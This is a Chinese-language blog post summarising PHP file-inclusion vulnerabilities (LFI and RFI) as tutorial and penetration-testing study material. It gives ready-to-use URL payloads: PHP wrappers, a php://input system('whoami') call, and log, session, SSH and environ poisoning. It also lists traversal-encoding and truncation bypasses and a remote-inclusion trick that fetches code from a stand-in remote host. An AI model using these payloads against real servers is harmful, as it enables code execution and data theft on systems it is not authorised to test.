PHP文件包含漏洞小结
参考链接:https://chybeta.github.io/2017/10/08/php文件包含漏洞/
四大漏洞函数
PHP文件包含漏洞主要由于四个函数引起的:
- include()
- include_once()
- require()
- require_once()
require()/require_once():如果在包含过程中有错,那么直接退出,不执行进一步操作。
include()/include_once(): 如果在包含过程中出错,只会发出警告
加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含
当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析
基本实现场景
例如,有如下index.php文件
<?php
$file=$_GET['file'];
include $file;
?>
在同一目录下,有如下txt文件:
<?phpinfo();?>
当页面访问index.php的时候,如果输入URL:
http://...../index.php?file=phpinfo.txt
就会轻而易举执行txt中的phpinfo()函数,并回显内容。
总结:这种情况的实现条件是:
- PHP代码中有相关的文件包含函数:比如 include $file
- 攻击者能够对包含的变量进行传递参数:比如 \$file=$_GET['file'];
文件包含漏洞的分类
本地文件包含漏洞LFI:
- 就是能够访问目标URL本地的文件内容
远程文件包含漏洞RFI:
- 包含远程服务器文件并执行
- 这种漏洞危害较大
- 需要在php.ini中设置两个参数:
- allow_url_fopen=on
- allow _url_include=on
PHP伪协议
php://input
实现条件:
- allow_url_fopen=on
- allow _url_include=on/off
- PHP版本5.3.0以下
实现方法:
在URL中输入:
index.php?php://input
之后利用hackbar等工具进行post传参:
POST <?php system('whoami');?>
这个漏洞已经比较老了
php://filter
实现条件:没有条件
实现方法:
利用这个伪协议可以打开我们想要的文件:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
or
index.php?file=php://filter/convert.base64-encode/resource=index.php
这样文件会以base64的编码打开,使用python解码即可
import base64
print(base64.b64decode("........."))
phar:// 和zip://
实现条件
- PHP版本大于5.3.0
实现方法:
这两个方法都可以解析zip压缩文件里面的文件内容并当做脚本执行:
假设test.zip里面有个文件为phpinfo.txt,解析执行phpinfo.txt的方法有:
index.php?file=phar://D:/phpstudy/www/..../test.zip/phpinfo.txt (绝对路径)
index.php?file=phar://test.zip/phpinfo.txt (相对路径)
or
index.php?file=zip://D:/phpstudy/www/.../test.zip/phpinfo.txt (zip必须是绝对路径)
data:[URL],[schema]
实现条件
- allow_url_fopen=on
- allow _url_include=on
- php版本大于5.2
实现方法
index.php?file=data:URL,<?phpinfo();?>
or
index.php?file=data:URL;base64,PD9waHAgcGhwaW5mbygpOz8%2b
其中:加号+的url编码为%2b, PD9waHAgcGhwaW5mbygpOz8+ 的base64解码为:
文件包含
包含session
实现条件:
- session文件路径已知,且其中内容部分可控
- php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见session文件路径
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
包含日志
实现条件:需要知道服务器日志的存储路径,且日志文件可读。
web服务器会将请求写入到日志文件中
比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含
包含SSH log
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
用ssh连接:
ssh '<?php phpinfo(); ?>'@remotehost
之后会提示输入密码等等,随便输入。
然后在remotehost的ssh-log中即可写入php代码:
之后进行文件包含即可。
包含environ
利用条件:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。
姿势:
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
包含临时文件:
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
绕过WAF
在日常情况下,碰到的可能是如下这种有前缀又有后缀的情况
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
只指定了前缀:
考虑这种只有前缀的情况
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
现在在/var/log/test.txt文件中有php代码,则利用../可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/test.txt
则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。
编码绕过:
利用url编码
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
二次编码
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
容器/服务器的编码方式
- ../
- ..%c0%af
- %c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
Apache Tomcat Directory Traversal
- ..\
- ..%c1%9c
只指定了后缀:
如下的情况:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
可以采用URL的格式绕过:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
使用query绕过:
index.php?file=http://remoteaddr/remoteinfo.txt?
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。
使用fragment绕过
index.php?file=http://remoteaddr/remoteinfo.txt%23
则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23。
利用协议绕过
前面有提到过利用zip协议和phar协议。假设现在测试代码为:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
构造压缩包如下:
其中test.php内容为:
利用zip协议,注意要指定绝对路径
index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta
则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php
能成功包含。
长度截断绕过
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
index.php?file=././././。。。省略。。。././shell.txt
则后缀/test/test.php,在达到最大值后会被直接丢弃掉。
0字节截断
利用条件: php版本 < php 5.3.4
index.php?file=phpinfo.txt%00
防御方案
- 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
- 做好文件的权限管理
- 对危险字符进行过滤等等
本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15192610.html